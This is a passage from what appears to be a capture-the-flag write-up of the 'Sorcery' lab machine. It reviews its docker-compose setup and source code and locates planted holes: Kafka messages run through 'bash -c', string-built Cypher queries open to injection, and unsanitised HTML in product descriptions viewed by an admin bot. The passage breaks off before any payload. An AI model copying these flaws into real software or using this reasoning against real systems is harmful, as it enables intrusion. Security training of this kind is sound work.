I’ll grab the link to the repo from the page and clone it. By default, this will fail for having an untrusted certificate:

oxdf@hacky$ git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
Cloning into 'infrastructure'...
fatal: unable to access 'https://git.sorcery.htb/nicole_sullivan/infrastructure.git/': server certificate verification failed. CAfile: none CRLfile: none

GIT_SSL_NO_VERIFY=1 will allow me to skip this:

oxdf@hacky$ GIT_SSL_NO_VERIFY=1 git clone https://git.sorcery.htb/nicole_sullivan/infrastructure.git
Cloning into 'infrastructure'...
remote: Enumerating objects: 169, done.
remote: Counting objects: 100% (169/169), done.
remote: Compressing objects: 100% (142/142), done.
remote: Total 169 (delta 8), reused 169 (delta 8), pack-reused 0 (from 0)
Receiving objects: 100% (169/169), 136.24 KiB | 1.87 MiB/s, done.
Resolving deltas: 100% (8/8), done.

Now the repo is here:

oxdf@hacky$ ls infrastructure/
backend  backend-macros  dns  docker-compose.yml  frontend

The repo only has a single commit:

oxdf@hacky$ git log
commit acb753dd975a639f2dbc28ee8fd4d67adc50e609 (HEAD -> main, origin/main, origin/HEAD)
Author: nicole_sullivan 
Date:   Wed Oct 30 18:14:43 2024 +0000

    Final version

This does provide an email address, as well as the username format of _.

docker-compose.yml

The docker-compose.yml file defines 10 Docker containers:

oxdf@hacky$ cat docker-compose.yml | grep -P '^  \w'
  backend:
  frontend:
  neo4j:
  kafka:
  dns:
  mail:
  ftp:
  gitea:
  mail_bot:
  nginx:

Neo4j

neo4j uses the default community Neo4j image to stand up the database:

  neo4j:
    restart: always
    image: neo4j:5.23.0-community-bullseye
    environment:
      NEO4J_AUTH: ${DATABASE_USER}/${DATABASE_PASSWORD}
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/7687"]
      interval: 5s
      timeout: 10s
      retries: 5

It’s listening on port 7687. The healthcheck will try to read from this port every 5 seconds to make sure the DB is up.

Kafka

kafka points to an image that should be at ./kafka/Dockerfile. Apache Kafka is a distributed event-streaming platform where applications publish messages to named “topics” and other applications subscribe to those topics to consume the stream. It’s commonly used as a durable message bus between microservices, for log aggregation, and for async event pipelines.

  kafka:
    restart: always
    build: kafka
    environment:
      CLUSTER_ID: pXWI6g0JROm4f-1iZ_YH0Q
      KAFKA_NODE_ID: 1
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
      KAFKA_LISTENERS: PLAINTEXT://kafka:9092,CONTROLLER://kafka:9093
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
      KAFKA_PROCESS_ROLES: broker,controller
      KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
      KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/kafka/9092"]
      interval: 5s
      timeout: 10s
      retries: 5

The kafka directory isn’t in the repo so I can’t see the Dockerfile. The environment variables indicate that this Kafka broker is running in KRaft mode, Kafka’s newer consensus protocol that replaces ZooKeeper for cluster metadata management:

KAFKA_PROCESS_ROLES: broker,controller tells this single node to act as both a broker handling client traffic and a controller managing cluster metadata
KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093 defines a one-node Raft quorum
The absence of any KAFKA_ZOOKEEPER_CONNECT variable.
The CLUSTER_ID is a base64 UUID required by KRaft to format the metadata log on first boot.

Two listeners are exposed: PLAINTEXT://kafka:9092 for clients and CONTROLLER://kafka:9093 for the internal Raft traffic between controllers.

DNS

dns is built from the dns directory in the repo, and unlike the Kafka image, its source is available:

  dns:
    restart: always
    build: dns
    environment:
      WAIT_HOSTS: kafka:9092
      KAFKA_BROKER: ${KAFKA_BROKER}

The WAIT_HOSTS entry means the container won’t start until kafka:9092 is reachable, and KAFKA_BROKER hands it the broker address.

Inside the image, a supervisord config runs two processes side-by-side. dnsmasq (a lightweight DNS/DHCP server) is configured to answer queries from /dns/hosts and /dns/hosts-user.

A small Rust binary (/app/dns, source in dns/src/main.rs) is responsible for keeping those host files in sync. The Rust process subscribes to the Kafka topic update and pipes every message body directly into bash -c:

let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {

After each command runs, it reads /dns/entries, serializes the new hosts as JSON, and publishes to the Kafka topic get:

let entries = fetch_entries();

println!("[*] Entries: {:?}", entries);

let Ok(value) = serde_json::to_string(&entries) else {
    continue;
};

producer
    .send(&Record {
        key: (),
        value,
        topic: "get",
        partition: -1,
    })
    .ok();

The intended command to be sent over Kafka is /dns/convert.sh, a shell script in the repo that reads both /dns/hosts and /dns/hosts-user, splits each line into individual ip hostname pairs, and writes them into /dns/entries:

#!/bin/bash
entries_file=/dns/entries
hosts_files=("/dns/hosts" "/dns/hosts-user")

> $entries_file

for hosts_file in ${hosts_files[@]}; do
  while IFS= read -r line; do
    key=$(echo $line | awk '{ print $1 }')
    values=$(echo $line | cut -d ' ' -f2-)
    for value in $values; do
      echo "$key $value" >> $entries_file
    done
  done < $hosts_file
done

dnsmasq is set up to run as a service in supervisord.conf:

[program:dnsmasq]
command=/usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts
stdout_logfile=/proc/self/fd/1
stdout_logfile_maxbytes=0
redirect_stderr=true
user=user

It runs as user, and reads /dns/hosts-user and /dns/hosts on startup and uses those records.

MailHog

mail pulls a pinned image off Docker Hub:

  mail:
    restart: always
    image: mailhog/mailhog:v1.0.1

MailHog is a developer SMTP server. It accepts any outbound mail the application tries to send on port 1025 and holds it in memory instead of delivering it, while exposing a web UI on port 8025 where developers can browse and inspect the captured messages. It’s commonly dropped into dev/staging environments so that features like password resets, email verification, or notifications can be exercised end-to-end without actually sending mail to real recipients.

VSFTPd

ftp uses a community vsftpd image from Docker Hub pinned to a specific commit hash:

  ftp:
    restart: always
    image: million12/vsftpd:cd94636
    environment:
      ANONYMOUS_ACCESS: true
      LOG_STDOUT: true
    volumes:
      - "./ftp/pub:/var/ftp/pub"
      - "./certificates/generated/RootCA.crt:/var/ftp/pub/RootCA.crt"
      - "./certificates/generated/RootCA.key:/var/ftp/pub/RootCA.key"
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/21"]
      interval: 5s
      timeout: 10s
      retries: 5

ANONYMOUS_ACCESS: true means the FTP server accepts logins as the anonymous user with no password, and LOG_STDOUT: true sends access logs to the container’s stdout (visible via docker logs). The volumes block is the interesting part: ./ftp/pub from the host is mounted as the anonymous-accessible FTP root at /var/ftp/pub. The root certificate authority keypair is located in the certificates directory, which isn’t in the repo.

Gitea

gitea is built from a local Dockerfile at gitea/Dockerfile (the gitea/ directory isn’t in the repo either), which presumably starts from the upstream Gitea image and layers in some bootstrap configuration:

  gitea:
    restart: always
    build:
      dockerfile: gitea/Dockerfile
      context: .
    environment:
      GITEA_USERNAME: ${GITEA_USERNAME}
      GITEA_PASSWORD: ${GITEA_PASSWORD}
      GITEA_EMAIL: ${GITEA_EMAIL}
      USER_UID: 1000
      USER_GID: 1000
      GITEA__service__DISABLE_REGISTRATION: true
      GITEA__openid__ENABLE_OPENID_SIGNIN: false
      GITEA__openid__ENABLE_OPENID_SIGNUP: false
      GITEA__security__INSTALL_LOCK: true
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
      interval: 5s
      timeout: 10s
      retries: 5

GITEA_USERNAME, GITEA_PASSWORD, and GITEA_EMAIL are almost certainly credentials for an admin user that the Dockerfile/entrypoint provisions on first boot via gitea admin user create. The GITEA__section__KEY variables use Gitea’s env-var config override convention (double underscore = section separator) and lock the instance down: service.DISABLE_REGISTRATION=true prevents anyone from signing up, both openid.* options turn off OpenID login, and security.INSTALL_LOCK=true prevents the web installer from being re-run (otherwise a fresh visitor could hit the install wizard and seize the instance). USER_UID/USER_GID: 1000 set the filesystem ownership for repos and data. Gitea listens on port 3000 internally.

Mail Bot

mail_bot is built from a local mail_bot/ directory that isn’t in the repo, so I’m working from the compose definition alone:

  mail_bot:
    restart: always
    platform: linux/amd64
    build: mail_bot
    environment:
      WAIT_HOSTS: mail:8025
      MAILHOG_SERVER: ${MAILHOG_SERVER}
      CA_FILE: ${CA_FILE}
      EXPECTED_RECIPIENT: ${EXPECTED_RECIPIENT}
      EXPECTED_DOMAIN: ${EXPECTED_DOMAIN}
      MAIL_BOT_INTERVAL: ${MAIL_BOT_INTERVAL}
      SMTP_SERVER: ${SMTP_SERVER}
      SMTP_PORT: ${SMTP_PORT}
      PHISHING_USERNAME: ${PHISHING_USERNAME}
      PHISHING_PASSWORD: ${PHISHING_PASSWORD}
    volumes:
      - "./certificates/generated/RootCA.crt:/app/RootCA.crt"

The env var names telegraph exactly what this container does. WAIT_HOSTS: mail:8025 suggests it waits on MailHog’s web UI port, meaning it talks to MailHog’s HTTP API to read the captured inbox rather than acting as an SMTP server itself. MAIL_BOT_INTERVAL is a periodic poll interval. On each tick it presumably walks the MailHog inbox, and for any message where the recipient matches EXPECTED_RECIPIENT on EXPECTED_DOMAIN, it follows the links in the body. PHISHING_USERNAME and PHISHING_PASSWORD are credentials the bot will submit when it lands on a login form (classic “admin opens a phishing email” automation), and SMTP_SERVER/SMTP_PORT let it reply or send follow-up mail. The RootCA.crt mount at /app/RootCA.crt combined with CA_FILE means the bot is configured to trust the site’s self-signed CA when following HTTPS links.

Nginx

nginx is the only container that actually exposes a port to the host:

  nginx:
    restart: always
    build: nginx
    volumes:
      - "./nginx/nginx.conf:/etc/nginx/nginx.conf"
      - "./certificates/generated:/etc/nginx/certificates"
    environment:
      WAIT_HOSTS: frontend:3000, gitea:3000
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/443"]
      interval: 5s
      timeout: 10s
      retries: 5
    ports:
      - "443:443"

ports: - "443:443" publishes container port 443 to the host’s 443, which matches the single TLS port nmap found from outside. The container waits on both frontend:3000 and gitea:3000. I don’t have access to the nginx.conf file, but almost certainly it handles the host-based routing to default to sorcery.htb and route git traffic to Gitea.

Frontend

frontend is built from the frontend/ directory in the repo, which I do have:

  frontend:
    restart: always
    build: frontend
    environment:
      WAIT_HOSTS: backend:8000
      API_PREFIX: ${API_PREFIX}
      HOSTNAME: 0.0.0.0
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
      interval: 5s
      timeout: 10s
      retries: 5

The directory contains a package.json, next.config.mjs, tailwind.config.ts, and a src/ tree. This is a Next.js app (consistent with the X-Powered-By: Next.js response header seen earlier), styled with Tailwind:

oxdf@hacky$ ls
components.json  next.config.mjs  package-lock.json   public  tailwind.config.ts
Dockerfile       package.json     postcss.config.mjs  src     tsconfig.json

It waits for backend:8000 to come up. Port 3000 is the standard Next.js production server port, reachable via the nginx reverse proxy at sorcery.htb.

Backend

backend is built from the backend/ directory in the repo, with the build context set to the whole repo root (context: .) so the Dockerfile can also pull in the backend-macros/ crate sitting next to it:

  backend:
    restart: always
    platform: linux/amd64
    build:
      dockerfile: ./backend/Dockerfile
      context: .
    environment:
      WAIT_HOSTS: neo4j:7687, kafka:9092
      ROCKET_ADDRESS: 0.0.0.0
      DATABASE_HOST: ${DATABASE_HOST}
      DATABASE_USER: ${DATABASE_USER}
      DATABASE_PASSWORD: ${DATABASE_PASSWORD}
      INTERNAL_FRONTEND: http://frontend:3000
      KAFKA_BROKER: ${KAFKA_BROKER}
      SITE_ADMIN_PASSWORD: ${SITE_ADMIN_PASSWORD}
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/8000"]
      interval: 5s
      timeout: 10s
      retries: 5

The backend webserver is a Rust project using the Rocket web framework app. It waits for neo4j:7687 and kafka:9092 before starting. The DATABASE_* env vars are the Neo4j connection information, KAFKA_BROKER is the broker address for publishing/consuming, INTERNAL_FRONTEND: http://frontend:3000 is how the backend can reach the frontend from inside the network, and SITE_ADMIN_PASSWORD is presumably used to seed the built-in admin account I couldn’t register earlier.

This is one of the more complex codebases on a HTB machine. main.rs sets up the application, including:

Running the Neo4j migrations on startup
Caching the admin user from Neo4j
Registering the following mounts (like routes):
- /api/auth/{register, login}
  - /api/product/{get_one, get_all, insert_product}
  - /api/webauthn/passkey/{start_registration, finish_registration, get, start_authentication, finish_authentication}
  - /api/dns/{get_entries, update_dns}
  - /api/debug/port_data
  - /api/blog/get_blog_posts
Creating a Kafka consumer connected to a Kafka broker which listens for messages and uses it to update its internal DNS cache:

    let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");
    let topic = "get".to_string();
    let group = "get".to_string();
    let mut consumer = Consumer::from_hosts(vec![broker.clone()])
        .with_topic(topic)
        .with_group(group)
        .with_fallback_offset(FetchOffset::Earliest)
        .with_offset_storage(Some(GroupOffsetStorage::Kafka))
        .create()
        .unwrap_or_else(|_| panic!("Kafka consumer: {broker}"));

    thread::spawn(move || loop {
        let Ok(message_sets) = consumer.poll() else {
            continue;
        };

        for message_set in message_sets.iter() {
            for message in message_set.messages() {
                let Ok(entries) = serde_json::from_slice::<Vec<DnsEntry>>(message.value) else {
                    continue;
                };

                DNS.lock().unwrap().entries = entries;
            }
            consumer.consume_messageset(message_set).ok();
        }
        consumer.commit_consumed().ok();
    });

After the Kafka consumer thread is launched, launch() builds the Rocket app, registers the catchers, and manages the shared state (BrowserStore, PasskeyStore, WebauthnStore configured for rp_id = "sorcery.htb", and a KafkaStore holding a Kafka producer). It then mounts the route tree under /api: /auth/{register, login}, /product/{get_one, get_all, insert_product}, /webauthn/passkey/{start_registration, finish_registration, get, start_authentication, finish_authentication}, /dns/{get_entries, update_dns}, /debug/port_data, and /blog/get_blog_posts.

There’s also a db/initial_data.rs module that runs through migrate(graph) on first boot and seeds the database with the starting state of the app:

pub async fn initial_data() {
    dotenv::dotenv().ok();
    let admin_password = std::env::var("SITE_ADMIN_PASSWORD").expect("SITE_ADMIN_PASSWORD");
    let admin = User {
        id: Uuid::new_v4().to_string(),
        username: "admin".to_string(),
        password: create_hash(&admin_password).expect("site admin hash"),
        privilege_level: UserPrivilegeLevel::Admin,
    };
    admin.save().await;

    Post {
        id: Uuid::new_v4().to_string(),
        title: "Phishing Training".to_string(),
        description:
            "Hello, just making a quick summary of the phishing training we had last week. \
        Remember not to open any link in the email unless: \
        a) the link comes from one of our domains (.sorcery.htb); \
        b) the website uses HTTPS; \
        c) the subdomain uses our root CA. (the private key is safely stored on our FTP server, so it can't be hacked). "
                .to_string(),
    }
    .save()
    .await;

    Post {
        id: Uuid::new_v4().to_string(),
        title: "Phishing awareness".to_string(),
        description:
        "There has been a phishing campaign that used our Gitea instance. \
        All of our employees except one (looking at you, @tom_summers) have passed the test. \
        Unfortunately, Tom has entered their credentials, but our infosec team quickly revoked the access and changed the password. \
        Tom, make sure that doesn't happen again! Follow the rules in the other post!"
            .to_string(),
    }
    .save()
    .await;

    // ... a long list of Product { ... }.save().await calls follows
}

This script creates the admin user, two blog posts, and 27 products in the database.

The two blog posts give hints for a future step. The “Phishing Training” post gives instructions not to click any links unless:

the link comes from one of our domains (.sorcery.htb);
the website uses HTTPS;
the subdomain uses our root CA. (the private key is safely stored on our FTP server, so it can’t be hacked).

The “Phishing awareness” post names tom_summers as a user who fell for a phishing test on the Gitea instance and had their credentials reset.

User Model

Before digging for a foothold, it’s worth walking through how the backend models users and hands out sessions. db/models/user.rs defines three tiers:

#[derive(Clone, Copy, PartialOrd, PartialEq, Debug)]
pub enum UserPrivilegeLevel {
    Client = 0,
    Seller = 1,
    Admin = 2,
}

The interesting part is how privilege_level is stored on the User:

#[derive(Model, Debug, Deserialize)]
pub struct User {
    pub id: String,
    pub username: String,
    pub password: String,
    #[transient(fetch = "fetch_privilege_level", save = "save_privilege_level")]
    pub privilege_level: UserPrivilegeLevel,
}

impl User {
    pub fn fetch_privilege_level(id: String) -> UserPrivilegeLevel {
        *PRIVILEGES
            .lock()
            .unwrap()
            .privileges
            .get(&id)
            .unwrap_or(&UserPrivilegeLevel::Client)
    }

    pub fn save_privilege_level(&self) {
        PRIVILEGES
            .lock()
            .unwrap()
            .privileges
            .insert(self.id.clone(), self.privilege_level);
    }
}

The #[transient] attribute (defined by the backend-macros crate) tells the Neo4j model derive macro to not persist this field. Instead, reads and writes are routed to a global Mutex> called PRIVILEGES. Neo4j only stores id, username, and password, leaving the user role entirely in RAM, where it disappears on restart.

That’s why main.rs does this at launch:

let admin = User::get_by_username("admin".to_string()).await.unwrap();
PRIVILEGES
    .lock()
    .unwrap()
    .privileges
    .insert(admin.id, UserPrivilegeLevel::Admin);

initial_data.rs uses SITE_ADMIN_PASSWORD to seed an admin user with UserPrivilegeLevel::Admin, and the save() call hits both Neo4j (id/username/hashed password) and the PRIVILEGES map (role). On every subsequent boot, main.rs rebuilds the role entry by hand.

User registration takes place in api/auth/register.rs:

#[post("/register", data = "")]
pub async fn register(data: Validated<Json<Request>>) -> Result<Json<Response>, AppError> {
    let Request { username, password, registration_key } = data.into_inner().into_inner();
    if User::get_by_username(username.to_owned()).await.is_some() {
        return Err(AppError::UsernameAlreadyExists);
    }
    let hash = create_hash(&password)?;
    let id = Uuid::new_v4().to_string();
    User {
        id: id.to_string(),
        username: username.to_owned(),
        password: hash,
        privilege_level: if registration_key.is_some()
            && &registration_key.unwrap() == REGISTRATION_KEY.get().await
        {
            UserPrivilegeLevel::Seller
        } else {
            UserPrivilegeLevel::Client
        },
    }
    .save()
    .await;
    Ok(Json(Response { id }))
}

Username is validated against ^[a-zA-Z0-9]+$ (validate_username in api/auth.rs), rejecting anything with special characters. The password is hashed with Argon2. The registration_key field (the optional input on the signup form) is compared against a REGISTRATION_KEY global loaded from db/connection.rs, and the account role is set to Client or Seller based on the match. There’s no path that hands out Admin through the registration endpoint.

The frontend action (app/auth/register/actions.tsx) is a thin Next.js server action that just POSTs { username, password, registrationKey } to auth/register:

"use server";
export async function register(username: string, password: string, registrationKey?: string) {
  const response = await API().post("auth/register", {
    json: { username, password, registrationKey },
  });
  return convertResponse(response);
}

Password login in api/auth/login.rs:

#[post("/login", data = "")]
pub async fn login<'r>(data: Validated<Json<Request<'r>>>, cookies: &CookieJar<'_>)
    -> Result<Json<Response>, AppError> {
    let Request { username, password } = data.into_inner().into_inner();
    let user = match User::get_by_username(username.to_owned()).await {
        Some(user) => user,
        None => return Err(AppError::NotFound),
    };
    if Argon2::default()
        .verify_password(password.as_bytes(), &PasswordHash::new(&user.password).unwrap())
        .is_err()
    {
        return Err(AppError::NotFound);
    }
    let claim = UserClaims {
        id: user.id,
        username: username.to_owned(),
        privilege_level: user.privilege_level,
        with_passkey: false,
        only_for_paths: None,
        exp: SystemTime::now().add(Duration::from_secs(60 * 60 * 24))
            .duration_since(UNIX_EPOCH).unwrap().as_secs() as usize,
    };
    let token = encode(&Header::default(), &claim, &EncodingKey::from_secret(JWT_SECRET.as_bytes())).unwrap();
    cookies.add(
        Cookie::build(("token", token.clone()))
            .path("/").secure(false).http_only(false),
    );
    Ok(Json(Response { token }))
}

The code fetches the user by username, verifies the Argon2 hash, builds a UserClaims object, signs it with JWT_SECRET, and both sets the token as a cookie and returns it in the JSON body. The cookie is created with secure: false, http_only: false, but in practice that cookie never reaches the user’s browser. The login is invoked via a Next.js server action (app/auth/login/actions.tsx) that calls the backend server-to-server, so the backend’s Set-Cookie lands at the Next.js server in response to its own request and is dropped.

What actually puts a cookie in the browser is the frontend code, where User.fromJwt(token) parses the JWT out of the JSON body, and User.save() (in entity/user.ts) calls setCookieServer (entity/user-server.ts):

export async function setCookieServer(key: string, value: string) {
  cookies().set(key, value, {
    httpOnly: true,
  });
}

That writes a fresh token cookie with httpOnly: true, so the browser’s copy of the JWT is not readable by client-side JavaScript. On every subsequent request, that cookie is sent to the Next.js server, and api/client.ts reads it via cookies().get("token") and forwards it as Authorization: Bearer to the backend. The backend’s RequireAuthentication guard only reads the Authorization header, so the backend itself never relies on cookies at all.

The token is good for 24 hours. Failed lookups and wrong-password both return AppError::NotFound, so the response can’t be used to enumerate usernames.

The UserClaims struct itself (from api/auth.rs) is also interesting:

pub struct UserClaims {
    pub id: String,
    pub username: String,
    pub privilege_level: UserPrivilegeLevel,
    pub with_passkey: bool,
    pub only_for_paths: Option<Vec<String>>,
    pub exp: usize,
}

privilege_level is baked into the JWT at issue time, not re-read from PRIVILEGES on each request. with_passkey distinguishes password-only sessions from passkey sessions. only_for_paths takes a list of regexes, and the RequireAuthentication guard only honors a token if the request URI matches at least one of them:

if let Some(routes) = &claims.only_for_paths {
    if !routes.iter().any(|route| {
        Regex::new(route).unwrap().is_match(&request.uri().to_string())
    }) {
        return failure;
    }
}

The guards themselves live in api/auth.rs: RequireAuthentication, RequireAdmin, RequireSeller, RequireClient, RequirePasskey. Seller/Client use < comparisons on the PartialOrd derive, so RequireSeller admits both Seller (1) and Admin (2).

Registering a passkey goes through /api/webauthn/passkey/register/{start,finish}. Both handlers take a RequireAuthentication guard, so the user must have an active JWT first. start_registration.rs handles the passkey registration process:

#[post("/register/start", format = "json", data = "")]
pub async fn start_registration(
    guard: RequireAuthentication,
    data: Validated<Json<Request>>,
    passkey_store: &State<PasskeyStore>,
    webauthn_store: &State<WebauthnStore>,
) -> Result<Json<Response>, AppError> {
    let Json(Request { username }) = data.into_inner();
    let username = username.as_ref().unwrap_or(&guard.claims.username);
    let user = match User::get_by_username(username.clone()).await {
        Some(user) => user,
        None => return Err(AppError::NotFound),
    };

    match webauthn_store.instance.lock().unwrap()
        .start_passkey_registration(Uuid::from_str(&user.id).unwrap(), username, username, None)
    { ... }
}

The request body carries a username, and the handler uses the body’s username if provided, falling back to the guard’s username if not. It then looks up that user and binds the new passkey challenge to their ID. Specifically, it inserts the challenge state into passkey_store.registrations keyed by user.id (the target’s id):

passkey_store
    .registrations
    .lock()
    .unwrap()
    .insert(user.id.clone(), state);

At first glance that looks like it should let an authenticated attacker start a passkey registration for somebody else’s account. But finish_registration.rs doesn’t match on the body’s username. It pulls the stored state back out using the caller’s JWT id:

let Some(state) = registrations.get(&guard.claims.id) else {
    return Err(AppError::Unauthorized);
};

Authenticating with a passkey is two unauthenticated endpoints. start_authentication.rs takes a username, looks up the registered passkey for that user, and returns a WebAuthn challenge. finish_authentication.rs verifies the browser’s assertion and, on success, issues a JWT identical to the password path except for with_passkey: true:

let claim = UserClaims {
    id: user.id,
    username: user.username.to_owned(),
    privilege_level: user.privilege_level,
    with_passkey: true,
    only_for_paths: None,
    exp: SystemTime::now().add(Duration::from_secs(60 * 60 * 24))
        .duration_since(UNIX_EPOCH).unwrap().as_secs() as usize,
};

The frontend passkey flow (app/auth/passkey/page.tsx) is the standard SimpleWebAuthn flow:

const startResponse = await startAuthentication(username);
const challenge = startResponse.result!.challenge;
const credential = await invokeAuthenticator(challenge.publicKey);
const finishResponse = await finishAuthentication(username, credential);
const user = User.fromJwt(finishResponse.result!.token);
await user.save();
router.push("/dashboard");

The browser’s authenticator signs the challenge, sends the assertion to finish, decodes the returned JWT, stores it, and redirects to the dashboard. This matches what I saw earlier where the Chrome WebAuthn emulator was sufficient to complete the login.

To recap the three flows and what ends up in the JWT:

Flow	Endpoint(s)	Creds checked	`privilege_level`	`with_passkey`
Register	`POST /api/auth/register`	(none - creates account)	`Seller` if `registrationKey` matches, else `Client`	n/a
Password login	`POST /api/auth/login`	Argon2 verify	from `PRIVILEGES` at login time	`false`
Passkey login	`POST /api/webauthn/passkey/authenticate/{start,finish}`	WebAuthn assertion	from `PRIVILEGES` at login time	`true`

Products

The Product model is defined in db/models/product.rs:

#[derive(Model, Serialize, Deserialize)]
pub struct Product {
    pub id: String,
    pub name: String,
    pub description: String,
    pub is_authorized: bool,
    pub created_by_id: String,
}

impl Product {
    pub fn should_show_for_user(&self, claims: &UserClaims) -> bool {
        self.is_authorized
            || claims.privilege_level == UserPrivilegeLevel::Admin
            || self.created_by_id == claims.id
    }
}

A product is visible to a user if it is flagged is_authorized, or the caller is an Admin, or the caller created it. Everything seeded in initial_data.rs is created by the admin user with is_authorized: true, which is why a fresh Client account sees the full pre-populated catalog.

The functions used to get products are in get_all.rs and get_one.rs. Both sit behind the RequireClient guard (so any logged-in user can hit them) and apply should_show_for_user as a post-fetch filter. get_one returns NotFound when the product exists but the user can’t see it, so existence isn’t leaked. The product IDs are Uuid::new_v4() strings, which matches the GUIDs I noticed earlier in the dashboard URLs. These functions use the Product::get_by_id(id.to_owned()) and Product::get_all() methods. Of most interest is get_by_id called with the id variable, where id is the string after /dashboard/store/ in the URL, whatever string the user dropped into the URL.

get_by_id isn’t a function in the Rust code, but rather a macro derived from backend-macros. The relevant chunk of backend-macros/src/lib.rs:

let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
    let name = field.ident.as_ref().unwrap();
    let type_ = &field.ty;
    let name_string = name.to_string();
    let function_name = syn::Ident::new(
        &format!("get_by_{}", name_string),
        proc_macro2::Span::call_site(),
    );

    quote! {
        pub async fn #function_name(#name: #type_) -> Option<Self> {
            let graph = crate::db::connection::GRAPH.get().await;
            let query_string = format!(
                r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                #struct_name, #name_string, #name
            );
            let row = match graph.execute(
                ::neo4rs::query(&query_string)
            ).await.unwrap().next().await {
                Ok(Some(row)) => row,
                _ => return None
            };
            Self::from_row(row).await
        }
    }
});

The user-supplied value is concatenated straight into the Cypher query with format!, with no parameter binding and no escaping. I’ll come back to this shortly.

insert.rs defines the insert_product method, which is gated by RequireSeller, so a plain Client cannot create products:

#[post("/", data = "")]
pub async fn insert_product(
    guard: RequireSeller,
    browser_store: &State<BrowserStore>,
    data: Json<Request>,
) -> Result<Json<Response>, AppError> {
    let id = Uuid::new_v4().to_string();
    let product = Product {
        id: id.to_string(),
        name: data.name.clone(),
        description: data.description.clone(),
        is_authorized: false,
        created_by_id: guard.claims.id,
    };
    product.save().await;

The new product is saved with is_authorized: false and created_by_id set to the caller, leaving the product only visible to the user who created it and the admin. Then this happens:

    let user = User::get_by_username("admin".to_string()).await.unwrap();
    let claim = UserClaims {
        id: user.id,
        username: user.username.to_owned(),
        privilege_level: user.privilege_level,
        with_passkey: true,
        only_for_paths: Some(vec![
            r"^\/api\/product\/[a-zA-Z0-9-]+$".to_string(),
            r"^\/api\/webauthn\/passkey\/register\/start$".to_string(),
            r"^\/api\/webauthn\/passkey\/register\/finish$".to_string(),
        ]),
        exp: SystemTime::now()
            .add(Duration::from_secs(60))
            .duration_since(UNIX_EPOCH)
            .unwrap()
            .as_secs() as usize,
    };
    let token = encode(
        &Header::default(),
        &claim,
        &EncodingKey::from_secret(JWT_SECRET.as_bytes()),
    )
    .unwrap();

The backend mints a JWT for the admin user on the spot. The token has with_passkey: true, an expiry of 60 seconds, and only_for_paths populated with three endpoints: GET /api/product/ (so the bearer can fetch product details) and the two halves of passkey registration (/api/webauthn/passkey/register/start and /finish). Recall from earlier that RequireAuthentication enforces this whitelist, so this admin token is genuinely useless against any other route.

Then it spins up a headless Chrome instance, sets that token as a cookie, and visits the new product:

    let semaphore = browser_store.semaphore.clone();
    tokio::task::spawn(async move {
        let _permit = semaphore.acquire().await.unwrap();

        let url = format!("{}/dashboard/store/{}", &*INTERNAL_FRONTEND, product.id);

        let launch_options = LaunchOptions {
            port: Some(rand::thread_rng().gen_range(8000..9000)),
            sandbox: false,
            ..Default::default()
        };
        let browser = Browser::new(launch_options).unwrap();
        let tab = browser.new_tab().unwrap();

        tab.set_cookies(vec![CookieParam {
            name: "token".to_string(),
            value: token,
            url: Some(INTERNAL_FRONTEND.clone()),
            domain: None,
            path: None,
            secure: None,
            http_only: Some(true),
            same_site: None,
            expires: None,
            ...
        }])
        .unwrap();

        tab.navigate_to(&url.clone()).unwrap();
        tab.wait_until_navigated().unwrap();

        tokio::time::sleep(Duration::from_secs(10)).await;

        drop(browser);
    });
    Ok(Json(Response { id }))
}

So every POST /api/product call triggers an admin-authenticated headless Chrome to load /dashboard/store/, wait ten seconds, and quit.

It’s a bit unusual to see a bot built into the page itself, but it seems to be simulating an admin user visiting every product that’s submitted.

The frontend page that gets loaded (app/dashboard/store/[product]/page.tsx) is the same one I see when I click into a product as a logged-in client. Whatever the page renders for the product’s name and description will be rendered with admin-cookie context inside the bot’s Chrome.

That page is short:

async function _ProductPage({ params }: { params: { product: string } }) {
  const response = await API().get(`product/${params.product}`);

  if (response.status === 404) {
    return notFound();
  }

  const { product } = (await response.json()) as Response;

  return (
    <Card className="flex flex-col">
      <CardHeader>
        <CardTitle>
          <p className="text-3xl">{product.name}</p>
        </CardTitle>
      </CardHeader>
      <CardContent className="flex flex-col flex-1">
        <p
          className="mb-4 text-xl"
          dangerouslySetInnerHTML={{
            __html: product.description,
          }}
        />
      </CardContent>
    </Card>
  );
}

product.name is rendered as a normal React child (

{product.name}

), so React escapes it. But product.description is fed straight into dangerouslySetInnerHTML, which sets the raw HTML on the element without any escaping or sanitization. Whatever bytes a seller put into description end up parsed as HTML on the page, including